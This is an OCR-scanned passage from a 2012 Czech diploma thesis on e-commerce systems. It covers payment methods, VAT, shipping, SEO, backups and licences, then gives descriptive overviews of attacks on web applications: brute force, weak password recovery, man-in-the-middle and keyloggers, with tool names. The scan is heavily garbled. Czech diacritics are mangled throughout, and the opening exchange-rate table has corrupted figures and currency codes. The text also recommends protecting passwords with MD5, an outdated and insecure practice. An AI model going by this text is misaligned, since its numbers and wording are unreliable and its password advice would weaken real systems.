Norsko;1;MOK:0,00:3,277;53,4053;53,340;3,27:3,421:3,34
Polsko:;1;PLMN;1,30:5,922;:6,164;:6,043;:0,00;0,00;:0,00
Ruwunsko;1;RON:-0,20:5,574;5,802;5,66858;:0,00;0,00;0,00
Rusko;100;RUE;-0,10;62,396,64, 812,63 ,604;0,00;0,00;:0,00
gvédsko;1;SEK;D,30;2,?36;2,842;2,?89;2,?3;2,85;2,?9
Svycarsko;1;CHF:-0,30:20,139:20,961;20,550;20,10:21,00:20,55
Turecko;1:TRY:-1,00;10,304710,704;:10,504:0,00:0,00;:0,00
USh;1;U2D:-0,50;18,302;19,050;:158,676;15,27;19,09;15, 688

Velka Britd&nie;1;GEP;-0,60;25,957;:30,139;29,5458;258,90;,30,20;29,55

Obr. 3. Textovd podoba kurzovniho listku CSOB [15]
Dané

Soucasti platebnich pravidel je také nastaveni podminek pro uUcCtovani dané z ptidané
hodnoty. Podle novely zakona o DPH ¢. 370/2011 Sb. je soucasna vySe dan¢ z ptidané

hodnoty stanovena na 20% pro zakladni sazbu a 14% pro sazbu snizenou. [16]

Ptitazeni DPH tak miize byt rozdilné pro rizné typy produktl a sluzeb a také pro rtizné
skupiny zakaznikd napfiklad pfi nakupu vétsich firem, jenz mohou byt platci DPH. Také
pii odesilani zbozi do cizich statl mohou byt nastavena jind danova pravidla dle platnych

zakona dané zemé.
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Platebni moznosti

Nejcastéji vyuzivanym zpisobem uhrady zbozi je platba pii pfevzeti objedndvky na
dobirku. Oblibenost této znamé metody nakupu je predevsim ve skute¢nosti, kdy zakaznik
nepotiebuje pro provedeni platby vlastnit ucet ¢i platebni kartu a prodavajici ma naopak

jistotu, ze bude jeho zbozi zaplaceno.

Podobnou metodou je platba zbozi hotoveé pti prevzeti. Tento zplisob ndkupu umoziuji
elektronické obchody, které maji ztizené pobocky pro ptimy vydej objednavek, a zdkaznik

pfi objednani v podstaté provadi pouze rezervaci zbozi na jejich sklad¢.

Dalsim béznym zplsobem, jak platit pii elektronickém nakupu, je platba pfevodem z
bankovniho G¢tu. To mize byt provedeno béznou formou nebo za pomoci internetového
bankovnictvi, kde tuto sluzbu poskytuje vétsina dnesnich bank. Tento druh platby je
obecné vyuzivan nejcastéji v obchodnim styku firem v oblasti B2B. V souvislosti s platbou
bankovnim pfevodem lze zminit rovnéz moznost zaplatit v nékterych e-shopech klasickym

bankovnim Sekem.

Pro platby na internetu slouzi dale také systémy, které vyuZzivaji pro uhradu pohledavek
platebni karty. Mezi vyhody téchto platebnich metod nalezi zejména jejich Siroké vyuziti,
zna¢né zaruky poskytované bankami a obchodniky a také skutecnost, ktera nevyzaduje
ptevod penéz na jiny ucet. Mezi nevyhody patii predev§im moznost zneuziti platebni karty
uzivatele, ke kterému muze dojit jak pii pfenosu provadéné platebni transakce, tak

napiiklad i pfi uniku dat ze serveru obchodnika.

K zabezpecfeni pfenosu slouzi bezpecnostni protokoly SSL a TLS a jako specifické
standardy vyvijené konkrétné pro provadéni elektronickych transakci 1ze uvést protokoly

SET (Secure Electronic Transaction) ¢i 3-D Secure.

Komunikaéni protokol SET byl vyvinut v roce 1996 konsorciem spolecnosti MasterCard a
Visa a mél za kol zarucovat integritu zprav, ovéfeni totoznosti zucastnénych subjekti a
kontrolu platnosti vSech zpracovavanych finan¢nich dat. K jeho planovanému rozsiteni
vSak nedoslo, a to piedev§im z divodu zna¢né slozitosti provadénych transakci a nutnosti

instalace podptrného softwaru na strané klienta.

Vyse zminéné nevyhody vyiesila spolecnost VISA, ktera v letech 2001-2002 vyvinula
dnes jiz celosvétové standardizovany proces akceptace platebnich karet nazvany 3-D

Secure. Toto jednodussi feSeni vyuziva protokoly SSL/TLS a jeho implementace je na
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stran¢ obchodnika zaji$téna za pomoci zasuvného modulu. Komunikace zde probiha mezi

tfemi stranami a témi jsou zakaznik, prodéavajici a vydavatel platebni karty.

Nejznaméjsimi systémy vyuzivajicimi popsany zpusob platby jsou naptiklad PayPal c¢i
jejich ¢eské obdoby PaySec a PayU. Dale to jsou platebni brany Ogone, GP WebPay nebo
DIBS Payment Services atd. [1]

DalSim zplsobem jak platit za zbozi nakoupené v internetovém obchod€ je moznost
vyuziti tzv. elektronické penézenky. Ta funguje na principu vytvoreni piedplaceného
konta, ze kterého jeho uzivatel provadi okamzité online platby. Konta elektronické
penéZenky casto slouzi také jako internetové ucty, na které jsou odesilany platby
inkasované pomoci reklamnich bannert ¢i pfijatych reklamnich e-mailG apod. Patii zde
napiiklad internetova penéZenka Google Wallet, dale Moneybookers, Hipay, AlertPay ¢i z

¢eskych variant GoPay a Penézenka od internetového vyhledavace Seznam.cz. [17]

Nékteré e-shopy umoznuji prodavat své produkty na splatky a k tomuto zptisobu nakupu
vznikly sluzby nazyvané jako online pijc¢ky. Vyhodou téchto osobnich uvért je predevsim
rychld moznost ndkupu zboZi i bez okamZit¢é moznosti zaplatit plnou cenu vyrobku.
NejznaméjSimi spole¢nostmi, které u nas poskytuji online splatkovy prodej, jsou naptiklad

Cetelem, Home Credit ¢i Essox.

Pro nékteré drobné zboZi a sluzby existuje také moznost jejich platby za pomoci mobilniho
telefonu. Uhrada probiha prostiednictvim SMS obsahujici specialni kod, a tato zprava je
odeslana na specifické telefonni ¢islo. Platebni systém pro tuto operaci obratem vystavi
elektronicky doklad o prubehu platby, ktery je odeslan uzivateli zpét rovnéz formou SMS.
Sluzba umoznujici provadét tyto platby je u nas nejcastéji znama pod nazvem Premium

SMS a poskytuje ji vétSina mobilnich operatort.

1.4.8 Doprava

Moznosti, jak dopravit objednané zbozi zdkaznikovi je Casto vice, a mnohdy je zplsob
dopravy uzce spjat s vybranym zptsobem platby. Pokud uzivatel pozad4d o osobni odbér
zbozi na nékteré z pobocek elektronického obchodu, pro prodejce tak odpadd povinnost
zajistit dopravu objednavky na adresu zédkaznika. V ostatnich ptipadech obchodnik ptredava

zbozi nékteré z dorucovacich spole¢nosti, kterd prebira zodpovédnost za spravné dodani.

U nas jsou nejcastéji vyuzivanymi piepravnimi sluzbami piedev§im Ceska posta, expresni

dorucovaci Spole¢nost PPL (Professional Parcel Logistic) ¢i poskytovatel zasilkovych
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sluzeb DPD (Direct Parcel Distribution). Déle to mohou byt také kuryrni sluzby dorucujici

zbozi v rdmci vétSich mést apod.

Pti definovani vlastnosti jednotlivych piepravca je u nékterych soucasné vyuzivanych e-
shopli mozné nastavit riznd specifika. Zakladnimi 0daji jsou cena za piepravu a
predpokladana doba dodani. Castym zvykem prodejcii je poskytovani dopravnich sluzeb
od urcité cenové vyse objednavky zdarma. Oblibenou funkci je také moznost vkladani
odkazu na aplikaci, ktera slouzi ke sledovani aktualniho stavu zasilky. Dal$i nastaveni
napiiklad umoznuje definovat cenové ¢i hmotnostni rozsahy, pro které je dand prepravni
spolec¢nost k dispozici. Rovnéz je mozné povolit vyuziti dopravce pouze pro uréité

uzivatelské skupiny ¢i zakazniky z urcitych stati apod.

149 Zaméstnanci

Zaméstnaneckd sekce slouzi pfedevSim k nastaveni oprdvnéni pfistupti pro osoby
disponujici pravem zasahovat do back-end ¢asti elektronického obchodu. U nékterych e-
shopli je mozné definovat rizné zaméstnanecké role podle Cinnosti, jenz méa dany

pracovnik vykonavat.

Jedna se naptiklad o profil pro prodejce, ktery smi vstupovat pouze do sekce objednavek a
oddili uréenych pro podporu prodeje. Dale to muze byt pristup definovany pro
prekladatele, jenz se zaobira pouze zalezitostmi lokalizace. Logistik ma povoleny vstup do

sekci spojenych s produktovym katalogem a skladem zasob apod.

Pro piistup do kazdého oddilu jsou ¢asto definovany také prava na Cinnosti, které zde smi
dany zaméstnanec provadét. Jedna se o standardni funkce pro zobrazeni, pfidani, editaci a
mazani obsazenych poloZzek. Nad vSemi témito profily je vzdy vytvafeno opravnéni pro

administratora, ktery ma prava pro vSechny pfistupy a modifikace.

V zaméstnanecké sekci byva Casto obsazen také modul slouzici pro zakaznickou podporu.
Zde jsou uklddany dotazy od =zékazniki adresované na povéfené zameéstnance
elektronického obchodu, které mohou byt rozcleovany na jednotlivd témata podle

predmétu odeslané zpravy.

1.4.10 Vzhled
Vzhled byva ve vétsiné soucasnych e-shopii feSen pomoci tzv. Sablon. Jejich vytvareni
zajistuji integrované Sablonovaci systémy, jenz oddéluji aplikaéni logiku od vrstvy slouZici

pro prezentaci dat.
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Asi nejznamgj$im systémem tohoto typu je Smarty vytvofeny pro programovaci jazyk
PHP. Samotna Sablona je zde obdobou b&ézné HTML stranky, ktera navic obsahuje
specidlni znacky, které slouzi ke vkladani dat z aplika¢ni vrstvy. Soubory téchto Sablon
maji nejcastéji priponu .tpl a spolu s definicemi kaskadovych styld, obrazky a dalSimi
potiebnymi soubory tvofi vysledné téma urcujici celkovy vzhled aplikace. Tato témata pak

1ze jednoduse prepinat v sekci administrace bez nutnosti slozitych tiprav. [18]

Neékteré pokrocilé elektronické obchody obsahuji uziteCny nastroj fungujici na principu
WYSIWYG editoru, ktery umoziuje volné piesuny, editace ¢i smazani jednotlivych

moduld, z nichz je sloZzeno front-end rozhrani e-shopu.

Do sekce ur¢ené pro upravu vzhledu byvaji ¢asto integrovany také importy pro pohodlnou
zménu hlavniho loga obchodu, favicony zobrazené v adresnim fadku prohlizece ¢i loga

spole¢nosti vkladaného na vystavenou fakturu apod.

1.4.11 Podpora lokalizace

Podpora vicejazycnych piekladl je u e-shopt, které nejsou zacileny pouze na tuzemskeé
zékazniky téméf samoziejmosti. Zména lokalizace webového rozhrani elektronického
obchodu obvykle probiha dvéma zpisoby. Jednim z nich je automatické nastaveni jazyka
podle statu, v némz se zakaznik nachazi, a to je zajist'uje modul, ktery tento tidaj ziska na
zaklad¢ IP adresy navstévnika. Druhym zplsobem je pak manudlni prepnuti lokalizace

webu provedené na zéklad¢€ pozadavku ptichoziho navstévnika.

Samotna zména piekladu probihd podobné jako nahrazeni vzhledovych Sablon popsanych
vyse. Kazdy podporovany jazyk ma vlastni balik souborti, které obsahuji pole dvojic nazvii
sloZzenych z vyrazii ve vychozim a pfekladaném jazyce. N&které casti lokalizaci jsou
ukladany také do databazové Casti aplikace a pozadovany pieklad je zajistén ziskanim dat z
piislusnych tabulek. Kompletni lokaliza¢ni balicky byvaji vydavany ve formé& kompaktnich
modulll a po jejich instalaci lze casto jejich pfipadnou Upravu provadét piimo v

administra¢ni sekci.

1.4.12 MozZnosti rozSiritelnosti

Rozsiteni zékladni instalace byva realizovano pomoci jiz diive zminovanych modult.
Mize se jednat jak o oficialni rozsiteni poskytované vydavatelem e-shopu, tak rovnéz o

moduly vydané v rdmci komunity slucujici programatory a aktivni uzivatele zabyvajici se
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rozsifenim a modifikaci pilivodniho feSeni. Zminéné moduly byvaji k dispozici bud v

placené formé, nebo jsou Sifeny zdarma.

Pro instalace rozsifeni byva Casto v back-end rozhrani vyclenéna zvlastni sekce slouzici
pro jejich pichlednou spravu. Ta muze podporovat stazeni modult online z webové

podpory e-shopu, ¢i také umoznovat jejich piimy import z poc¢ita¢e administratora.

1.4.13 Integrace s ekonomickymi a ic¢etnimi systémy

Propojeni elektronickych obchodl s ekonomickymi a ucetnimi systémy slouzi predev§im k
automatickému zpracovani piijatych objednavek do firemniho ucetnictvi a rovnéz k
synchronizaci dostupnych skladovych zasob. Tento zplsob integrace je vyhodny zejména
pro vétsi prodejce, ktefi diky tomuto propojeni Seti ¢as vénovany manualnimu piepisu dat

mezi obéma systémy.

Samotna integrace je realizovana pomoci tzv. konektoru, ktery vytvaii spojeni
elektronického obchodu a ekonomického ¢i ucetniho systému. Komunikace je nejcastéji
zajiSténa pomoci XML rozhrani, jenz pfi pifenosu dat umoziuje napiiklad také kontrolu
vstupnich daji, dopocitani chybéjicich informaci a v ptipadé vzniklych chyb provadi

upozornéni na nutnost doplnéni ¢i piepracovani XML souboru bez jeho importovani. [19]

Nejcastéji vyuzivanymi systémy tohoto typu jsou piedev§im ekonomicky a Gcetni program
Pohoda vyvijeny ¢eskou softwarovou spolecnosti Stormware, dale Gcetni a ERP systém

Money od firmy Cigler Software ¢i produkty spole¢nosti ABRA Software atd.

1.4.14 SEO

SEO (Search Engine Optimization) je soubor metod a technik, které slouzi k upraveé
webovych aplikaci za ucelem ziskdni co nejvyssi pozice ve vysledcich internetovych

vyhledavact, ¢imz mize byt dosazeno ¢etnéjsi a cilenéjs$i navstévnosti.

Vétsina soucasnych nejpouzivanéjsich elektronickych obchodli obsahuje moduly pro tyto
zplisoby optimalizace a jednim z nich je rozSifeni podporujici moznost vytvaieni tzv.
pratelskych URL. Jedna se o prepis, jehoz vysledna podoba je generovana nejcastéji podle
nadpisu stranky ¢i pfipadné ndzvu vybraného produktu. Vlastni pievod ptivodniho URL
zajiStuje pii pouziti serveru Apache modul mod_rewrite. Ten je ovlddan pomoci
zvlastniho textového souboru . htaccess, ve kterém jsou definovana pravidla potiebna pro

upravu nékterych vlastnosti serveru.
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Dalsim prvkem v SEO optimalizaci je vhodné vyplnéni hodnot descriptions a keywords
u parametru name Vv tagu hlavicky <meta>, které slouzi pro strucny popis obsahu stranky a
zadani vystiznych klicovych slov. Tyto tagy mohou byt automaticky generovany dle
pozadovanych kritérii naptiklad z nazvu produktu, nadfazené kategorie ¢i podle vyrobce

apod.

K odstranéni duplicitnich URL, které mohou negativné ovliviiovat SEO optimalizaci slouzi
funkce generujici tzv. kanonické URL. Ty se vyuZzivaji u webti obsahujich nékolik stranek
téme&f shodného obsahu, kde jsou naptiklad na jedné strance produkty setazeny podle ceny
a na dalsi podle abecedy apod. Kanonické URL jsou vytvareny v hlavié¢ce stranky pomoci
tagu <1link> zadanim hodnoty "canonical" v atributu rel. V nasledujicim atributu href
je obsazeno URL primarni stranky a tento zapis je provadén do druhotadych stranek, které

je vhodné vyradit z indexace. [20]

1.4.15 Zalohovani

Zalohovani elektronického obchodu je podobné jako u jinych dynamickych webovych
aplikaci rozdéleno na dvé zékladni €asti. Jednou z nich je provadéni zaloh programové

casti aplikace a druhou export databazové struktury systému.

Zalohovani programové ¢asti je realizovano kopirovanim jejiho kompletniho obsahu z FTP
serveru. Ukladani zalohy systémové databdze miiZze byt provadéno v nastrojich uréenych
pro jejich spravu, coz je naptiklad znamy phpMyAdmin urceny pro relatni databazi
MySQL. Vysledkem exportu v tomto nastroji je soubor SQL piikazi definujicich tvorbu

celé databazové struktury vcetné obsahu tabulkovych dat.

Nékteré elektronické obchody obsahuji zalohovaci modul umoziujici provadét tento
export piimo v sekci jejich administrace. Zaloha zde mize byt vytvoiena ru¢né nebo také
automaticky v pozadovanych casovych intervalech za pomoci jiz popisovaného
systétmového néstroje Cron. Obnoveni zaloh by mélo probihat vzdy zasadné az po

deaktivaci bézného provozu e-shopu.

1.4.16 Zabezpeceni

Zabezpeceni elektronickych obchodti vychdzi z mnoha aspektii, které musi byt pii jejich
tvorbé brany v potaz. Jednim z nich je predevSim oSetieni vSech vstupt, jimiz mohou
uzivatelé aplikaci ovlivnit. Mohou to byt vstupy textové ¢i také importy pro vkladani

soubori apod.
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Dalsim dalezitym faktorem je samotny pienos a ukladdani citlivych dat odesilanych v
souvislosti s obchodni c¢innosti. Zakladnim ochrannym opatfenim je vyuzivani
bezpecnostnich protokoltt HTTPS a SSL a Sifrovani pfenaSenych hesel algoritmem MDS.
Samostatnou kapitolou je vyuziti bezpecnostnich opatfeni slouzicich pro provadéni

elektronickych transakci, které jiz byly popsany v souvislosti s platebnimi metodami.

S pfenosem dat je spojena také bezpe¢na manipulace s vytvafenymi cookies a session ¢i
pouzivani tzv. autentizacnich tokeni, coZ jsou ndhodné vygenerované fetézce platné pouze
pro danou akci a aktudlniho uzivatele. Patii zde také bezpecnostni strategie spojend se

zasilanim zapomenutych hesel, jejich zménou apod.

V této souvislosti je nutno zminit také jisté bezpecnostni riziko, které¢ mize vzniknout v
ptipadé definice pfili§ benevolentnich pfistupovych prav, ¢ehoz mohou zneuzit samotni

zaméstnanci, kterym je umoznén piistup do back-end rozhrani elektronického obchodu.

V SirSim kontextu nelze sledovat pouze zabezpeceni samotné aplikace, ale také
vyuzivané¢ho serveru a jeho slabych mist, jejichz napadenim mohou tutoc¢nici odstavit
provoz celého systému. Otdzka zranitelnosti webovych aplikaci bude podrobnéji rozebrana

Vv dalSich castech této diplomové prace.

1.4.17 Podpora od vydavatele

Autorizovana podpora od vydavatele elektronického obchodu uzce souvisi se skutecnosti,
zdali je vyuzivany produkt vydavan jako open source ¢i je aplikace placena. Open source
verze muze byt u urcitych vydavateli v omezeném rozsahu podporovana podobné jako
verze placena ¢i naopak zcela odkazéna na komunitu zabyvajici se rozSifenim a modifikaci

tohoto bezplatného feseni.

Podporou od vydavatele je mysleno naptiklad poskytovani rozsifujicich moduld, vydavani
opravnych aktualizaci €i realizace Skoleni a seminait slouzicich k informacni podpoie
produktu. Dale to mize byt také poskytovani servisni podpory, jenz ma za ukol fesit

zavazné chyby vzniklé pfi pouzivani softwaru atd.

1.5 Softwarové licence

Svobodny software
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vznikem tohoto projektu stoji americky programator Richard Stallman, ktery pracuje na

myslence volného pouziti a distribuci programt jiz od roku 1984.

Svobodny software zahrnuje programy vydavané pod zastitou projektu GNU, ktery
spravuje od roku 1985 nadace Free Software Foundation. GNU lze chapat jako souhrn
aplikaci, které jsou distribuovany za vyuziti zvlaStniho autorského prava, které¢ se nazyva

copyleft.

Copyleftovych licenci projektu GNU je mnoho a jsou to napiiklad General Public License
(GPL), jeji alternativa Lesser General Public License (LGPL), Free Documentation
License (FDL) ¢i Berkeley Software Distribution (BSD) atd.

Open Source software

Pojem Open Source software (OSS) oznauje programy s tzv. otevienym zdrojovym

koédem, ktery vznikl v roce 1998 jako oddélena vétev Svobodného softwaru.

Hlavni podminkou vytvarejici pfisluSnost k tomuto typu aplikaci je jejich otevienost k
moznosti modifikace a rozSifeni zdrojového koédu ostatnimi uZivateli. Kolem téchto
programll Casto vznikd Sirokd komunita vyvojart, ktefi produkt spolecné vytvaii a
zdokonaluji. Open Source programy nemusi byt vyhradné¢ zdarma jako je tomu u

Svobodného softwaru, ale mohou byt 1 ¢astecné svobodné ¢i zcela komer¢ni.
Public Domain

V oblasti softwarovych aplikaci se jedna o programy, které nepodléhaji Zadnym autorskym
pravim. Jedna se tedy o tzv. volné dilo, které mize byt bezplatné uzivano a modifikovano,
a to 1 pro komer¢ni ucely. Na rozdil od open source aplikaci u tohoto softwaru nemusi byt
dostupny zdrojovy kéd a program muze byt k dispozici pouze ve formé spustitelného

souboru.
Komeréni software

Programy vydavany pod komer¢ni licenci jsou zpoplatnény a maji specifickym zptisobem
upravené podminky pro své vyuziti. Jedna se predev§im o nemoznost dalsi distribuce, k

aplikacim nejsou k dispozici zdrojové kody, software nelze modifikovat apod.

Licen¢ni ujednani je nejcastéji oznaceno jako EULA (End User License Agreement), coz

znaci uzavieni licen¢ni smlouvy s koncovym uzivatelem.
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Creative Commons

Jedna se o soubor licenci spravovanych neziskovou organizaci Creative Commons, ktera
autorim nabizi moZnost volby, které autorské prava budou vici uzivatelim svého dila
uplatnovat. Hlavni vyhodou Creative Commons je jejich snadnd srozumitelnost, které
napomaha sada piktogramt, které znazoriuji jednotlivé prvky licenci. Jde napiiklad o
pravo Sifeni dila, jeho upravu, povinnost uvadét stanovenym zptisobem autora ¢i zékaz

uzivani dila komer¢nim zptsobem atd. [21]
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2 BEZPECNOST V OBLASTI E-KOMERCE

2.1 Kyberneticka kriminalita

Kybernetickou kriminalitou, neboli kybernalitou, je mySlena takova ¢innost, kterou je
porusovan zakon nebo je v rozporu s moralnimi pravidly spole¢nosti. Tento druh
kriminality mtze byt namifen pfimo proti poc¢itacim, jejich hardwaru, softwaru, datim,
sitim apod., nebo v ni vystupuje pocita¢ pouze jako nastroj pro pachani trestného Cinu,
pripadné pocitacova sit’ a k ni pripojena zatizeni jsou prostiedim, v némz se takova ¢innost

odehrava. [2]

2.2 Definice hackera

Podle publikace Hacker Jargon File je hacker ¢lovek, kterého bavi zkoumat detaily
programovatelnych systémli a hledat metody, jak je vylepsit. Dalsi rysy v uvedeném
souboru zahrnuji:

e ¢loveka, ktery s nadSenim programuje, dokonce je programovanim posedly anebo
dava prednost praktickému programovani pred teoretickymi tGvahami o
programovani,

e jedince, ktery vynika v rychlém programovani nebo je expertem ve vyuzivani
konkrétniho programu,

e o0sobu, ktera dokaze ocenit "hack value", tedy hodnotu ztvarnéného
technologického feSent,

e obecné osobu, kterd je expertem nebo nadSencem v daném védnim oboru (podle
toho se mize hacker vyskytovat naptiklad v biologii).

Policejni definice

Policie definuje hackera jako osobu, ktera pronika do chranénych systému, pficemz jejim
cilem je prokazat vlastni kvality bez toho, aby méla zajem na ziskani nebo zniCeni
informaci v systému obsazenych. Za nejdilezitéj$i je povazovano pirekonani ochranné
bariéry, coz je povazovano za zabavu, dobrodruzstvi ¢i "sportovni nadSeni", a to bez

naroku na vetejné uznani.
Jak hackera prezentuji média

Média predstavuji hackera jako krimindlni individuum nabouravajici se do ciziho
informacniho systému bez ohledu na diivod nebo cil takové Cinnosti. Podle médii je hacker

Clovek, ktery nic¢i internetové stranky, snazi se naruSit informacni systémy nebo ziskat
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choulostivé osobni udaje jinych uzivateli. Média zcela zkreslila tlohu hackerti ve vyvoji
informacnich technologii, piedstavila je jako zlod¢je a vetfelce. Zapomnéla, ze vzdy jde o
velmi inteligentni osobnosti, které se snazi dennodenné dokazovat svoji zru¢nost v oboru,
jehoz kouzlu podlehli. Jednim z kréd hackert je vira, Ze informace by m¢ly byt piistupné

pro kazdého, a proto bojuji proti jejich vlastnéni. [2]
2.3 Typy hackeri

2.3.1 White hats

"White hats", neboli "bilé klobouky", jsou typi¢ti hackefi uznavani hackerskou etikou a
Casto jsou zaméstnavani firmami zabyvajicimi se bezpecnosti systémui. Najmuti hackefi
uskute¢nuji utoky podobné realnym napadenim, ale tuto ¢innost provadéji na zadost
majitele, s cilem najit bezpecnostni slabiny systému. Tyto skupiny mohou nést také

oznaceni jako "tiger-team™ nebo "sneakers".

2.3.2 Black hats

"Black hats", ¢ili "¢erné klobouky", vyvijeji podobnou ¢innost jako "white hats", avsak s
cilem napadnout a prolomit ochranné prvky systémii a ziskat tak urcité¢ vyhody pro sebe ¢i
pro svého zaméstnavatele, kterym je obvykle néjakéd nelegdlni organizace. Jednim z
nejznaméjSich oznaeni téchto skupin je "H4H", neboli "Hackers for Hire", a jeji ¢lenové
nabizi své sluzby jinym kriminalnim, teroristickym ¢i extremistickym skupinam nebo jako

prosttedek pro provadéni primyslové Spiondze mezi velkymi konkurenty.

2.3.3 Grey hats

"Sedé klobouky" se pohybuji na pomezi obou skupin, coz je mozné vytusit jiz z jejich
nazvu. Tato skupina byla zfejmé vytvotrena proto, ze vySe uvedena seskupeni se na mnoha
mistech své Cinnosti stfetavaji a jejich rozdil je pouze v pfistupu k danému problému. Tato
kategorie slouzi zaroven jako dopliujici prvek v rozdé€leni téchto osob a obvykle je

prechodovym stadiem rodiciho se hackera, ktery nema ujasnén sviij budouci tkol. [2]
2.4 Typy utoki na webové aplikace

2.4.1 Autentifikace

Brute Force Attack
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Brute Force Attack, neboli utok hrubou silou, je technika slouzici k prorazeni HTTP
autentifikace zptisobem opakovaného testovani velkého mnozstvi kombinaci znaku, ze
kterych by se mohly skladat ptihlaSovaci udaje slouzici napiiklad pro pfistup do

chranénych webovych sekei.

Casto uzivanymi aplikacemi tohoto typu jsou napiiklad Brutus, WebCracker ¢&i
Bruteforcer. Tyto nastroje pracuji vicevlaknove a ovéiuji nékolik kombinaci uzivatelskych
jmen a hesel soucasné. Predefinované skupiny testovanych znakli jsou obsazeny v
specialnich souborech, které jsou nazyvany slovniky. Diky své rychlosti mohou tyto
nastroje vycerpat dlouhé seznamy predpokladanych uzivatelskych jmen a hesel béhem

nékolika hodin ¢i dokonce minut. [3]

Zabezpecenim proti témto ndstrojum muze byt pouziti ochranného algoritmu, ktery
vyzaduje uplynuti ur€itého casového intervalu mezi dvéma pokusy zadani hesla. Déle to
muze byt také vyuziti principu, jenZ omezuje pocet neuspéSnych piihlaseni, kdy je pii
dosazeni nastaveného limitu dany ucet zablokovan a jeho opctovnd aktivace je mozna

pouze na zakladé€ pfedem stanovenych pravidel.

Tab. 2. Odhady doby prdce prolamovacii hesel [2]

Kombinace pouZita pro heslo Odhad doby prace prolamovace
velka nebo mala pismena nékolik sekund
4 velka a mala pismena v libovolné kombinaci nékolik sekund
4 velké4 a mala pismena a Cislice v libovolné kombinaci nékolik sekund
5 velkych nebo malych pismen Mén¢ neZ jedna minuta
5 velkych a malych pismen v libovolné kombinaci cca 6 minut
5 velkych a malych pismen a ¢islic v libovolné kombinaci cca 15min
8 velkych nebo malych pismen cca 58 hodin
8 velkych a malych pismen v libovolné kombinaci cca 21 mésicu
8 velkych a malych pismen a Cislic v libovolné kombinaci cca 7 let
10 velkych nebo malych pismen cca 5 let
10 velkych a malych pismen v libovolné kombinaci cca 4648 let
10 velkych a malych pismen a ¢islic v libovolné kombinaci cca 26984 let
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Insufficient Authentication

Tuto hrozbu Ize chapat jako neexistenci dostatecné autentifikace, ktera utocnikim
umoziuje ziskat pfistup do citlivych sekci Systému bez nutnosti ovéfeni jejich identity.
Odkazy na tyto ¢asti webu mohou byt skryté a bézny uzivatel k nim tudiz ptistup neziska,
avsak za pomoci néstrojii mapujicich strukturu webovych aplikaci mohou byt tyto sekce

odhaleny a jejich obsah zneuzit.

Ochranou proti tomuto typu zranitelnosti je striktni nasazeni autentifikacnich nastroji
zamezujicich neopravnénému vstupu do vSech €asti systému, které nejsou urcené pro
bézné uzivatele.

Weak Password Recovery Validation

Weak Password Recovery Validation, v ptekladu slaby mechanismus pro obnovu hesel, je
hrozba, ktera uto¢nikim umoziiuje neopravnéné ziskat ¢i zménit cizi uzivatelské
pfihlaSovaci udaje. Tento stav mize vzniknout pii pouziti slabého mechanismu
zajiStujictho obnovu zapomenutého hesla. Jednd se prfedevS§im o uhadnuti tzv. "tajné
otazky", jenz je pfili§ snadno odhadnutelnd a tocnik tak pii spravné odpovédi provede

zménu hesla Uctu, ke kterému se miiZe néasledné ptihlasit.

Zabezpecenim proti této zranitelnosti je predev§im povoleni zmény hesla pouze pti zadani

hesla ptivodniho a také zasilani zapomenutych piihlasovacich tidajii na e-mail uzivatele.
Man in the middle (MITM)

Tento utok vychazi z principu odposlouchavani komunikace mezi dvéma ucastniky tieti
osobou, ktera tento datovy tok pfesmérovava pies své zafizeni a stava se tak nezadoucim
prostfednikem, ktery mize prenasena data libovolné zneuzit. Na nasledujicim obrazku je

mozné vidét zakladni schéma takto napadené komunikace:

Utoénik

Obr. 4. Ilustrace utoku Man in the middle [22]
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Jak je mozné vidét na obrazku, princip napadeni spociva v rozdéleni ptvodniho TCP
spojeni na dvé nova pfipojeni, z nichz jedno je mezi uzivatelem a uto¢nikem a druhé mezi
utocnikem a webovym serverem. Jakmile je ptivodni spojeni zachyceno, ziskava uto¢nik v
komunikaci roli prostfednika, ktery se chova podobné jako proxy server a muze tedy

libovolné vkladat a upravovat zachycena komunikacni data.

Tento typ Utoku je vzhledem k povaze HTTP protokolu velmi efektivni, jelikoz jsou
viechny data prenasena v kodu ASCIL Utoénik timto miize zachytit z hlaviéky pfenasené
zpravy napiiklad uZzivatelské cookies nebo je schopen zménit ¢astku pienasené penézni

transakce atd.

Napadeni MITM mitize byt provedeno také pies zabezpeceny protokol HTTPS, a to za
predpokladu vytvofeni dvou nezavislych SSL relaci vazanych na kazdou z obou ¢asti
napadené¢ komunikace. ProhliZze¢ nastavi jedno SSL spojeni s uto¢nikem a druhé s
webovym serverem. Prestoze je uzivatel varovan, ze se prohlize¢ snazi pouzit neovéteny
digitalni certifikat, mize toto upozornéni ignorovat, jelikoz nemusi mit dojem, ze je
néjakym zptisobem ohrozen. V nékterych piipadech se navic toto varovani nemusi
zobrazit, jelikoZ miZe byt certifikat uto¢nika vydan stejnou certifikacni autoritou jako, ten

ktery je pozadovan pro moznost komunikace s danym pozadavkem.

Pro realizaci utoki MITM jsou vyuzivany specialni nastroje, které umoziuji zachytit
sitovou komunikaci. Jsou to naptiklad programy Packet Creator, Ettercap, Dsniff ¢i Cain

& Abel atd.

Obrana proti MITM stoji pfedevsim na principu bezpe¢ného prenosu vetfejnych klicu, které
jsou v ramci asymetrické kryptografie vyuzivany pro vytvoreni zabezpecené komunikace.
Toto zabezpeCeni vyzaduje tvorbu samostatného bezpe¢ného kanalu, ktery by ale v
idedlnim piipadé pii pouZziti asymetrické kryptografie nemél byt potfebny. Hlavni
ochranou proti témto druhiim napadeni by mélo byt pfedevsim ovéieni vefejnych klich

pomoci elektronického podpisu, jenz je vydan divéryhodnou certifika¢ni autoritou. [23]
Keylogging

Toto napadeni vyuziva ke své Cinnosti néstroj zvany keylogger, ktery slouzi ke snimani
stiskl jednotlivych kldves na napadeném uZzivatelském pocitaci a hlavnim diivodem jejich
pouziti je pfedevSim snaha o ziskani ptihlasovacich udaji. Tyto nastroje se déli na dvé

zakladni skupiny, a to na keyloggery softwarové a hardwarové.



UTB ve Zliné, Fakulta aplikované informatiky, 2012 39

Programové varianty keyloggerii se nejcastéji skladaji ze dvou soubord, které jsou
instalovany do stejného adresafe. Prvnim z nich je dynamickd knihovna DLL, ktera
provadi samotny zaznam aktivity a druhy tvofi spustitelny soubor EXE. Ten provadi
instalaci DLL knihovny a poté spousti proces zaznamu stisknutych klaves, které jsou
programem v pravidelnych intervalech odesilany pfes Internet plivodci ttoku. Tento
Skodlivy software muze byt nevédomky stazen napiiklad jako spyware nebo je do

nevhodné zabezpecené cilové stanice nainstalovan pomoci trojského kon¢.

Hardwarové keyloggery jsou mald zafizeni propojovand mezi kabelem klavesnice a
prislusnym konektorem na zadni strané pocitace. Tyto nastroje jsou pouzivany bud v
